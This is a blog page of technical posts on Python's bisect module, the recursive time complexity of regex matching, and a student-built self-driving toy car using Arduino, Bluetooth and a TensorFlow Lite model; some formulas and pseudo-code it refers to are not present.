• insort_left: [1,2,3, 4 ,4,5] inserted index= 3
• insort_right: [1,2,3,4, 4 ,5] inserted index= 3+1

Apart from bisect and insort which are equivalent in function to bisect_right and insort_right respectivly, these are the only functions available in this library. However they completely replace the need to write your own functions for lookups and inserts.

Bisect is Fast

 1def binary_search(lst, target):
 2    start, end = 0, len(lst) - 1
 3    while start <= end:
 4        middle = (end+start)//2
 5        if target > lst[middle]:
 6            start = middle + 1
 7        elif target < lst[middle]:
 8            end = middle - 1
 9        else:
10            return middle
11    return -1

And here’s a binary race between it and bisect. We’ll be looking for value 0 because ironically it will take the longest to find with binary search since 0 is never in the middle of anything.

 1#list and target
 2input_list = list(range(1000000))
 3target = 0
 4
 5#my binary search
 6start = time.time()
 7index = binary_search(input_list, target)
 8duration = time.time() - start
 9print("search found {} at index {} in {} seconds".format(target,index,duration))
10
11#bisect binary search
12start = time.time()
13index = bisect.bisect_left(input_list, target)
14if index == len(input_list) or input_list[index] != target:
15    index = -1
16duration = time.time() - start
17print("bisect found {} at index {} in {} seconds".format(target,index,duration))

• search found 0 at index 0 in 1.6927719116210938e-05 seconds
• bisect found 0 at index 0 in 2.6226043701171875e-06 seconds

Here we can see that bisect is 6 times faster than my implementation

Because bisect is implemented in C it is much faster, though both functions use the exact same algorithm. Python is just a lot slower at adding numbers than C because all numbers in Python are actually Integer classes which in turn take time to call their addition functions whereas in C integers are just 4 byte data types and are processed very efficiently by the CPU. The difference in time can start to compound into a tangible boost in performance when you start doing many lookups or insertions sequentially.

Conclusion

Bisect is a small but useful library that helps maintain sorted order in lists as well as providing lookups in a quick and efficient way. Knowing about its existence can save on both implementation and runtime and it is an indespensible tool for many coding interviews where questions about sorted lists tend to crop up from time to time.

The real intrigue was the calculated but unexplained time complexity for one of the inefficient solutions which only used recursion, minus the dynamic programming. After all, dynamic programming makes time and space complexity fairly easy to compute, as long as the solution is correct, it cannot exceed the complexity of all possible subproblems. Before I can get ahead of myself though here’s the outline of the original problem which can also be found here https://leetcode.com/problems/regular-expression-matching/

If at some point I lose you during the explanation please leave a comment so I can make a revision.

The Problem:

Given an input string (s) and a pattern (p), implement regular expression matching with support for '.' and '*'.

1'.' Matches any single character.
2'*' Matches zero or more of the preceding element.

The matching should cover the entire input string (not partial).

Note:

• s could be empty and contains only lowercase letters a-z.
• p could be empty and contains only lowercase letters a-z, and characters like . or *.

Some Examples:

Example 1

1Input:
2s = "abcda"
3p = "ab.d"
4Output: false
5Explanation: The . matches the c but the pattern ends before matching to the entire text.

Example 2

1Input:
2s = "aab"
3p = "c*a*b"
4Output: true
5Explanation: c can be repeated 0 times, a can be repeated 2 times. Therefore, it matches "aab".

Example 3

1Input:
2s = "ab"
3p = ".*"
4Output: true
5Explanation: ".*" means "zero or more (*) of any character (.)".

The examples above summarize the kind of cases you can expect to be dealing with during testing. Because the title of the article is “Solving for Recursive Complexity” and not “How to Solve Recursive Problems” I won’t be going too deeply into how to solve this kind of problem. Instead I will resort to flashing a piece of pseudo code that explains the 3 recursive gates that our algorithm will be passing through on its journey to the end of the piece of text. I’d recommend trying to solve this problem on your own by going to the link I included above, and coming back here once you’ve gained a level of appreciation for this problem, because I’m about to spoil it for you.

Solution Pseudo-code:

Quick Explanation

If you’re not very familiar with recursion, this code block might still look very intimidating. The gist is that we’re only doing two things:

1. checking if the current character of the text matches the pattern and

2. asking if the pattern will match the text if we modify the text a bit or the pattern a bit or both for the remaining characters.

**Line 12: keep_asterisk_match is true if we don’t change the pattern but move along the length of the text (text[1:]). This is how * is dealt with in recursion, we simply move on to the next character of the text like the current one never existed and keep the asterisk in the pattern.

Line 17: skip_asterisk_match is true if the text matches the pattern without the asterisk (pattern[2:]) i.e if we match 0 of the preceding element. Remember in Example 2 where c* didn’t have to match anything, and this is also how we jump out of the keep_asterisk_match trap that we made for ourselves earlier.

Line 20: Once we get an answer for whether we get a match when keeping or skipping the asterisk after keep_asterisk_match and skip_asterisk_match are run we return the result as shown in the OR table below.

Line 24: If we don’t see an asterisk we check if that first character matched the pattern with character_match and we keep recusing by reducing the input text and pattern by that first matched character (text[1:], pattern[1:]) and recursively check if the rest of the string matches.

Line 4: The final part of recursion which ironically is usually defined at the top of the function, is our recursion rock bottom. If we have an empty pattern and an empty string as our inputs, we have the divine knowledge that the pattern will match the string because empty matches empty for sure. If only one of them is empty we know that there’s no match.

Considering the Complexity

The time complexity for this question appears to be difficult to pin down. After all, there are two points of recursion and one full stop. And like I said before, the answer to the complexity is given in the solutions with no further explanations. For text of length T and pattern of length P, with the text being indexed at text[i:] and pattern[2j:], the time complexity for this question is….drum roll

Well, that’s quite something.

Normally you’d expect something like O(T*P) or anything else to that effect and in fact, the solutions do propose a more concise upper bound, again without any explanations (not surprisingly), but we’ll get to that later. For now we have enough on our hands as it is with this piece of work.

Linear vs Exponential Complexity

The reason why the complexity isn’t as simple as it is for something like bubble sort, is because we’re not making linear passes over our text and pattern. Instead we’re doing things recursively, diving deeper and deeper through sections of our text and pattern and revisiting the same sub problems for what can feel like an arbitrary number of times. The reason I bring up bubble sort, which has O(n²) complexity, is because its complexity decreases in the shape of a pyramid as we sort more and more digits.

On the other hand, recursion has the classic shape of a tree due to the multiple places where the function can call itself.

The structures look deceptively similar but the crucial difference is that where the pyramid decreases linearly, the tree grows exponentially. This creates a world of a difference when analyzing time and space complexity.

Our Worst Case

When analyzing worst case complexity we have to think of the worst case input. Because we have two inputs, text and pattern, I will focus on the pattern because one depends on the other and at least for me it’s easier to think of the rules rather than the results. In this question each new character we add to our pattern can be either a .* or . where . can be any character. From the code it should be pretty clear which choice causes more computation. If we include the * character, our code splits into two streams which must both be computed until inevitably they should return whether there’s a match, meanwhile if we are matching a single character the fun stops pretty quickly as we are only taking a single route, linearly.

It looks pretty clear that a worst case pattern would consist of many .* to create as many diverging paths as possible, with a final text character which does or doesn’t match the pattern.

Text: aaaaaaaaaab

Pattern: a*a*a*a*a*a*a*a*a*a*

In this scenario we must get both to the end of the pattern and to the end of the string to determine that there is no match, while branching 2¹⁰ number of times starting from the first index of the text.

Visualizing the Computation

In order to figure out the time complexity we have to find how many times each sub-problem had to be computed. Because we are not saving the result like in dynamic programming this will largely contribute to the exploding runtime. Each sub-problem consists of answering whether text[i:] and pattern[2j:] are a match. We use pattern[2j:] because we are using .* repeatedly in our pattern for the worst case, every time we take the skip_asterisk_matched path we skip one of the .* which take up two spaces. In order to visualize the two branches of skip_asterisk_matched and keep_asterisk_matched we will draw a tree diagram to illustrate all the visited sub-problems. Each node will have the format (i,j) for where the text and pattern are indexed at each point in time.

A quick side note on this, when performing recursion, the algorithm will perform a depth-first search by taking the left path first on each iteration. This doesn’t make much of a difference though because in the worst case we’ll have to traverse the entire tree anyways. Let’s take an example sub-problem where we want to see if text[2:] and pattern[2:] were a match. This will appear as (2,1) on our tree:

i=2 because we are at text[2:] for the text j=1 because we are at pattern[2:] which in the worst case means we have only a single .* asterisk that takes up two spaces. Following pattern[2j:] means j=1.

We can see that this sub-problem had been encountered 3 times during computation. The tree format is good for seeing when these sub-problems will be encountered but it’s not very good at determining how many times that will happen.

Combinations

The way to systematically consider how many times a sub-problem will be encountered is to consider how come these sub-problems tend to repeat themselves in the first place. In order to arrive at (2,1) on our tree we have to take two lefts and one right.

As we can see this can happen in three ways, if we traverse the tree in the sequence LLR, LRL and RLL.

In the example of (2,1) we know that we will have 2+1=3 place holders where 2 of the placeholders will be an L and 1 will be an R. In order to find how many combinations are possible we can simply compute 3C2 where out of 3 place holders we will choose 2 to be an L and the rest will automatically be Rs.

That means that for sub-problem (i,j) we have i+j placeholders with i of those being the left side and j being on the right side. This is why the solutions include the combinations symbol for the number of encountered sub-problems (i,j) with (i+j choose i).

Incidentally this is also equivalent to (i+j choose j) because it does not matter whether you are picking which i increments are on the left or instead picking which j increments are on the right, the number of distinct combinations will be the same.

Sub-Problem Complexity

Now that we know how many sub-problems of each kind we will encounter, we should figure out how long those individual sub-problem will take to complete. This sort of thing tends to be very easy to do with recursive problems, like in this case where we only really do one thing, compare a single character and store the result in character_match. This might lead you to believe that the runtime for each sub-problem is constant O(1), but in order to call the function we must first supply text[i] and pattern[j:] arguments. If the strings are long, this procedure is not trivial, especially in python where in order to pass in a sub-string a new string must be created. Therefore for each sub-problem there is a constant time O(1) for checking that the character matched, an O(T-i) for passing in the part of the string that we don’t know is a match yet, and an O(P-2j) for passing in the part of the pattern that we don’t know is a match yet. Adding everything together we arrive at the complexity given in the solution.

The Concise Solution

Remember earlier when I said that the solution proposed a more general bound, without the complex combination notation and sigma signs.

Well here it is.

Let’s go through the idea behind this one before we wrap up.

The idea behind making the time complexity into this simplified form is to go overkill on both how many sub problems we could encounter and how long we plan on those sub problems taking to compute.

Number of Sub-problems

Instead of using combinations to compute precisely how many sub problems we will encounter, which based on our combinations calculation will be only a portion of our tree’s leaf nodes, let’s just take the entire bottom level of the tree.

Let’s also make the tree completely full with a depth of the maximum number that \(i+j\) can take, which is \((T+\frac{P}{2})\).

• T for the length of the text and \(\frac{P}{2}\) for all .* instances in our worst case pattern

• A tree of depth \((T+\frac{P}{2})\) will have \(2^{(T+\frac{P}{2})}\) nodes at the lowest level.

In the image we can see the previous example of text[2:] and pattern[2:] being computed \(\binom{2+1}{2}\) = 3 times, but since we know that all these examples happen on the same level (because # of Ls+ # of Rs is always 3) we can compute the number of all sub problems on that level which is \(2^{(2+\frac{2}{2})}\) = 2³ = 8.

The number of nodes on the entire level (8 in this case) will always be larger than the \(\binom{i+j}{j}\) nodes (3 in this case), so we can use this calculation in our more general upper bound. So we have determined that our upper bound will assume that we will go through \(2^{(T+\frac{P}{2})}\) subproblems, even though we really never will, but it does make our formula more concise.

Sub-problem Complexity

Instead of computing how large the arguments will be before we pass them in, let’s just assume we are passing in the entire strings for both the text and pattern. This will give us O(T+P) time complexity for each sub-problem, eliminating the need to compute what O(T-i) and O(P-2j) are at every step.

Final Answer

Multiplying the Sub-problem complexity by the number of sub-problems gives us the final answer of:

A Case for Dynamic Programming

This was all incredibly tedious and time consuming on both ours and the computer’s part. At some point you probably thought that computing the same problem (i+j choose i ) times was a bit wasteful and if we just stored that result it would save us a lot of trouble. You’d be right.

There’s only T*P distinct combinations of (i,j), and each takes only constant time to verify, so simply storing all of them in a grid will bump our computation down to a whopping.

I hope you enjoyed this exercise in computational complexity. Seeing as you got to the very end, do give yourself a pat on the back because you deserve it.

As a team of three undergraduate students, we were tasked with building a concept self driving car in our winter semester. Not having much experience in data science or machine learning meant that the production process was a mess, although looking back we probably could have made the same amount of progress in a fraction of the time.

This article is for those who are interested in what it takes to build a functioning self driving car in record time, on a budget, without the headaches that we had to go through! I don’t go too much in depth on all the details but there are a few snippets of code to spice things up. Also if you are interested in the code you can help yourself to our Github page, https://github.com/RoboticsCourse, but be warned that it’s not documented and was not created for general use.

What We’ll Need:

• Remote Control/Demo Car
• Arduino Uno board
• Motor Shield
• Bluetooth BLE Module
• 2 Mobile Devices

Cars are meant for driving

First of all, we wanted to finely control the motion of the car, and the best way to do that was to throw away the controller that came with the original car and instead use an Arduino board. Since they’re programmable and compatible with a whole suite of additional modules which we could buy online for cheap, it was amazing for prototyping. The board we used was the Arduino UNO Rev3 which you can get for $20.

Now to actually be able to control the car via the Arduino board we had to hook it up to a Motor Shield which is a useful little add-on that gives you the ability to power a variety of motors from your Arduino board with just a few lines of code. The snippet bellow shows a simple implementation.

 1void Navigation::goForward(int speed) {
 2    frontMotor->setSpeed(speed);
 3    frontMotor->run(FORWARD);
 4    rearMotor->setSpeed(speed);
 5    rearMotor->run(FORWARD);
 6}
 7
 8void Navigation::goBackward(int speed) {
 9    frontMotor->setSpeed(speed);
10    frontMotor->run(BACKWARD);
11    rearMotor->setSpeed(speed);
12    rearMotor->run(BACKWARD);   
13}
14
15void Navigation::SteerSpeed(int speed){
16  if(speed > 0) turnMotor->run(FORWARD);
17  else {
18    speed *= -1;
19    turnMotor->run(BACKWARD);
20  }
21  turnMotor->setSpeed(speed);
22}

An important implementation challenge was that there is no way to specify distances that the motor will be doing useful work over but instead you must pass in the speed the motor will turn at and the time interval. This means that deepening on the amount of power supplied by the motor, you are responsible for fine tuning these measurements.

Ours ran three DC Motors which were well supported by our Motor Shield. This setup guide really helped us set up and run this configuration.

Now that the Arduino + Motor Shield were all hooked up, and the motors were buzzing we gained the ability to control the car through its new small Arduino brain. However this early in the project it could only follow pre-programmed instructions in a loop and it was time to test what we’ve built.

Manual Control

The next step was to hook up a way to control the car manually, which turned out to be really useful in the training phase. A really handy module available in the Arduino arsenal is the Bluetooth Low Energy chip (BLE). The setup is quick and there’s available example source code for mobile devices to BLE connection so it only took us some minor tweaking to get the board connected to one of our phones.

We used an Android phone to interface with the chip, the the help of this BLE Android project. That sample code is an example of Bluetooth text messaging which is very similar to what we’ll be doing to communicate with the car, in fact our implementation will be even simpler.

All it takes is to scan for local Bluetooth devices and connect to the chip, after which we can start sending and receiving messages in a few lines of code! This gave us the freedom to go wild with the input type for the car controller, with my preference being a simple joystick. By sending messages such as S10 (Steer Left at speed 10) or F -100 (Go backwards at speed 100), with S representing the steering motor and F representing the front and back motors, we could encode directions for the car in just a few bytes.

The latency between the controller and the car proved to be nonexistent and even worked for up to 10m away with no issues. At this point the car was controllable in the same way it was before, if not better. The next step was to actually make car drive on its own and after a few failed attempts at coming up with logic for the car, we turned to neural networks.

Machine Learning Needs Data

Since with neural networks we really can’t get anywhere without gathering a large data set, it’s time to roll out the car and gather sweet data. Like any explorer venturing out into the unknown, our car will want to record all of its experiences for future self reflection. This means that we’ll need one mobile device to drive the car (from the implementation above), and another device with a camera strapped to the front of the car.

Because our budget was small we strapped a second phone to the car to record video as the car drove around. The input data we could collect was what the camera on the car can see and the logs left by the controller app as a human pilots the car with the other phone. As it turns out, this setup we had now, was the bare minimum required to train a neural network, featuring the input set and a label set.

The input set was the data captured by the camera on the car, and the label set was the input of the human driver piloting the remote car. Now how does that second set work as a label set exactly?

Imitation Learning

Do you remember the very first steps you took as a child? Chances are you did not. Even before conscious thought develops in the brain, its capacity to imitate the actions of other people are baked into the wiring of our brains and it allows for learning at an astonishing rate. Our car can’t “walk” yet but just like in the case of the baby, it’s our job to give it an example to follow.

By having a method of controlling the car and logging the input from the human, our car can learn what input it should supply to itself over time and become as good as the pilot.

Gathering the Data

We created a diagram of extreme values for the joystick. The first coordinate value being the degree of steering (x axis) and the second value being the amount of motion (y axis). Having a line of (0,0) cut through the middle of the joystick allowed for a gradient of speed between moving full force forward and moving full force backwards, reducing the wear and tear on our motors, and with maximum steering at 45 degree angles.

Below is the trigonometry that constrains the input joystick to a circle

 1float x = event.getX()- (circle.getWidth() >> 1);
 2float y = event.getY()- (circle.getHeight() >> 1);
 3
 4double distance = Math.sqrt(Math.pow(x,2)+ (float) Math.pow(y,2));
 5double angle  = Math.atan2(x,y);
 6
 7if (distance > circle.getWidth()/2){ //if outside the joystick
 8
 9    cursorX = (float) ((circle.getWidth()/2)*Math.sin(angle));
10    cursorY = (float) ((circle.getHeight()/2)*Math.cos(angle));
11
12    cursorX+=circle.getX() + (circle.getWidth() >> 1) - (control.getWidth() >> 1);
13    cursorY+=circle.getY() + (circle.getHeight() >> 1) - (control.getHeight() >> 1);
14}
15else{ //if inside the joystick
16    cursorX = x+circle.getX() + (circle.getWidth() >> 1) - (control.getWidth() >> 1);
17    cursorY = y+circle.getY() + (circle.getHeight() >> 1) - (control.getHeight() >> 1);
18}
19control.setX(cursorX);
20control.setY(cursorY);
21
22final int vector_X = (int)(circle.getX() + circle.getWidth()/2 - control.getWidth()/2 - cursorX) * 255/(circle.getWidth()/2);
23final int vector_Y = (int)(circle.getY() + circle.getHeight()/2 - control.getHeight()/2 - cursorY) * 255/(circle.getHeight()/2);
24
25int final_distance = (int) (dist*distance);
26if(vector_X < 0){
27      final_distance *= -1;
28}
29
30distance = (int) Math.sqrt(Math.pow(vector_Y, 2) + Math.pow(vector_X, 2));
31
32//get scaled values between -255 and 255 for X and between -150 and 150 for Y
33
34float dist = 0;
35if(Math.abs(vector_X) >= Math.abs(vector_Y)){
36    if(vector_X != 0){
37        dist = (float) Math.abs(vector_Y)/Math.abs(vector_X);
38    }
39}
40else{
41    if(vector_Y != 0) {
42        dist = (float) Math.abs(vector_X)/Math.abs(vector_Y);
43    }
44}
45
46int final_distance = (int) (dist*distance);
47
48final int final_X = final_distance;
49final int final_Y = vector_Y * 150/255;

The result was an input range of -150 and 150 for Y and between -255 and 255 for X, the values for Y were smaller because we didn’t want the car to move too fast but a full range of steering was crucial. Below are the results of a training session.

Each dot on the above graph represent the location of the finger on the trackpad at the time that a training image was sliced from the video. The top part represents forward motion, the bottom backwards motion and when the car steered it produced dots that form the diagonals of this hourglass shaped graph. We cut the data into a few logical sectors,

1. Forward

2. 50% Forward

3. Forward Left

4. Forward Right

5. Backward

6. 50% Backward

7. Backward Left

8. Backward Right

And “Stop” which proved to be pretty disastrous because at some point the car would learn to permanently stop.

Collecting the image data was somewhat easier, all we had to do was record a video while the car was being driven. Here’s a link to a sample android project that records a video and saves it to storage when you’re done, we used the same code to capture our videos and even your ordinary camera app works if you don’t want to implement anything custom. The only meta data that’s required is the length of the video and when the recording was initiated.

Combining Inputs and Labels

In order to match the correct actions with what the car is actually seeing we have to bring the two data sets together. By splitting the training video captured by the front facing camera and time stamping it into separate images we can match them to the timestamp of a log from the controller’s input.

The video was split into 4 images per second of video, although with a 30fps recording we could have gone for a lot more detail. On the other hand our mobile device could capture hundreds of actions on the touchscreen per second, requiring us to disregard most of the data for picking one log per image from the video. Both data sets where submitted to a python script to slice the videos and create matching (image, log) pairs.

After driving the car around our building for a bit, we gathered close to 7000 pairs of images and associated human control label pairs. Due our small budget and running the neural network on a phone, we had to down sample our images to 50x50 pixels so that our setup had a fighting chance of working in real time.

Using Neural Networks

This was arguably the most exciting and frustrating part of the project, the machine learning. Because we wanted the car to drive on its own we wanted the on board phone to accomplish both the seeing and the steering for the car. Both were indeed possible. We fully utilized the OpenCV Android library to obtain an image for every time the camera screen was updated as well as running a separate thread to control the Bluetooth chip on the car. We used this android project as an introduction to OpenCV and it got us to a point were we could obtain individual frames of the camera in real time. All that was left to do was to complete a forward pass on our network model with images supplied by the library’s onCameraFrame() function every time there was a new frame.

 1public Mat onCameraFrame(CvCameraViewFrame inputFrame) {
 2  mGray = inputFrame.gray();
 3  Mat mEqualized = new Mat(mGray.rows(), mGray.cols(), mGray.type());
 4  
 5  //normalize the image
 6  Imgproc.equalizeHist(mGray, mEqualized);
 7  
 8  //convert the frame into a scaled bitmap
 9  Bitmap bitmap = Bitmap.createBitmap(mEqualized.cols(), mEqualized.rows(), Bitmap.Config.RGB_565);
10  Utils.matToBitmap(mEqualized, bitmap);
11  final Bitmap scaled_bitmap = Bitmap.createScaledBitmap(bitmap, 50, 50, false);
12
13  //get output from the neural net model
14  int[] shape = model.get_Interpreter().getInputTensor(0).shape();
15  final ArrayList<String> output = inferencer.multiImageInference(model, scaled_bitmap, shape[shape.length-1]);
16}

At this point we could either write our own native neural network , or we could use Google’s Tensorflow Lite library to load a python Keras model directly onto the phone. We went with Keras for the simplicity and existing collection of examples we could reference.

The only downside to this approach was that because the model file could no longer be changed on the Android phone, our car would not be able to use reinforcement learning to learn as it drove on its own. Fortunately this was a sacrifice we were willing to make.

With a basic Keras Sequential CNN model we pumped an input image of 2500 pixels into the series of Convolution and Max Pooling layers. We then converged the model into a dense layer at the end to give us 9 categories of output. For each output we would get a confidence value of how much the car was willing to follow any of the given directions. This was done because it’s not important for the car to make fine movements, the categories we specified above were enough.

Neural Network Architecture

 1model = Sequential()
 2model.add(layers.Conv2D(32, kernel_size=(3, 3),
 3                 activation='relu',
 4                 input_shape=(50,50,10), 
 5                 name='my_layer'))
 6convout1 = Activation('relu')
 7model.add(convout1)
 8model.add(layers.MaxPooling2D(pool_size=(2, 2)))
 9model.add(layers.Conv2D(64, (3, 3), activation='relu'))
10convout2 = Activation('relu')
11model.add(convout2)
12model.add(layers.MaxPooling2D(pool_size=(2, 2)))
13model.add(layers.Dropout(0.25))
14model.add(layers.Flatten())
15model.add(layers.Dense(128, activation='relu'))
16model.add(layers.Dropout(0.5))
17model.add(layers.Dense(numBins, activation='softmax'))

Above is a Keras model we used for our car. It is relatively small and the gist of it is that it converts a 50x50 array of an input image into an array of 9 confidence outputs for each of the joystick colored sectors.

After a few weeks of tweaking we settled on this model that worked fairly well, giving us a 95% success rate with a sizable test set of 30% of our entire training database. The laststep was to save the Keras library as a tflite file and feed it to the Interpreter on the phone.

Tensorflow Lite has the amazing functionality of exporting the python written model into a tflite file which can be used by a Tensorflow Lite interpreter on any other system.

 1model_json = model.to_json()
 2with open("model.json", "w") as json_file:
 3    json_file.write(model_json)
 4
 5keras_file = "model.h5"
 6model.save(keras_file)
 7
 8converter = lite.TFLiteConverter.from_keras_model_file(keras_file)
 9tflite_model = converter.convert()
10open("model.tflite", "wb").write(tflite_model)

This model is simply loaded as a TFLite interpreter object which can then use the simple run() function on an input image to create a prediction.

 1public Interpreter load_internal_model(String model_name) throws IOException {
 2        tfliteModel = loadModelFile(model_name);
 3        tflite_interpreter = new Interpreter(tfliteModel);
 4        return tflite_interpreter;
 5}
 6
 7private ByteBuffer loadModelFile(String model_name) throws IOException {
 8        AssetFileDescriptor fileDescriptor = activity.getAssets().openFd(model_name);
 9        FileInputStream inputStream = new FileInputStream(fileDescriptor.getFileDescriptor());
10        FileChannel fileChannel = inputStream.getChannel();
11        long startOffset = fileDescriptor.getStartOffset();
12        long declaredLength = fileDescriptor.getDeclaredLength();
13        return fileChannel.map(FileChannel.MapMode.READ_ONLY, startOffset, declaredLength);
14}

Now taking this model we can saved it into the memory of our phone and run it with the TensorFlow Interpreter to simply do a forward pass on the model.

 1float[][][][] float_pixels = new float[1][50][50][num_saved];
 2float[][] outputVal = new float[1][9];
 3
 4for(int i = 0; i < 50; i++){
 5    for(int j = 0; j < 50; j++){
 6        for(int b = 0; b < num_saved; b++){
 7            float_pixels[0][i][j][b] = (float) int_bitmaps.get(b)[i*50+j]/255;
 8        }
 9    }
10}
11
12try{
13    tflite_interpreter.run(float_pixels,outputVal);
14}catch (Exception e){
15    e.printStackTrace();
16}
17
18//outputVal is now contains confidence values for all the sectors

The sector with the highest confidence was taken as the action to execute by the car and finally all the pieces were in place.

Conclusion

At this point we had the car built, data collection set up and a neural network dictating the controls. The car was driving with the expertise of a 6 year old with a controller. It can safely be said that we were not winning any Grand Prix any time soon but the car was able to drive around on its own without crashing itself, with surprising reliability.

In any case we were happy that something that we’ve built over a semester while taking our other classes could actually learn on its own and accomplish such a difficult task, with minimal input from us. As a first project in machine learning this was a tough one to start with but looking back at it, the approach we took was in line with any other standard machine learning task.

If you’re still reading, hopefully you’ve learned something new and if not at least enjoyed our amateur struggles. Again, all the code is available here https://github.com/RoboticsCourse, please consider starring it and checking out the contributors.

This blog

Two types of posts:

• Stories — longer pieces, field notes, things I’m thinking through
• Artifacts — technical write-ups, project breakdowns, reference material

Both are for an audience of one first (future me) and anyone else who finds them useful second.

More to come here as projects accumulate.

Why this website exists.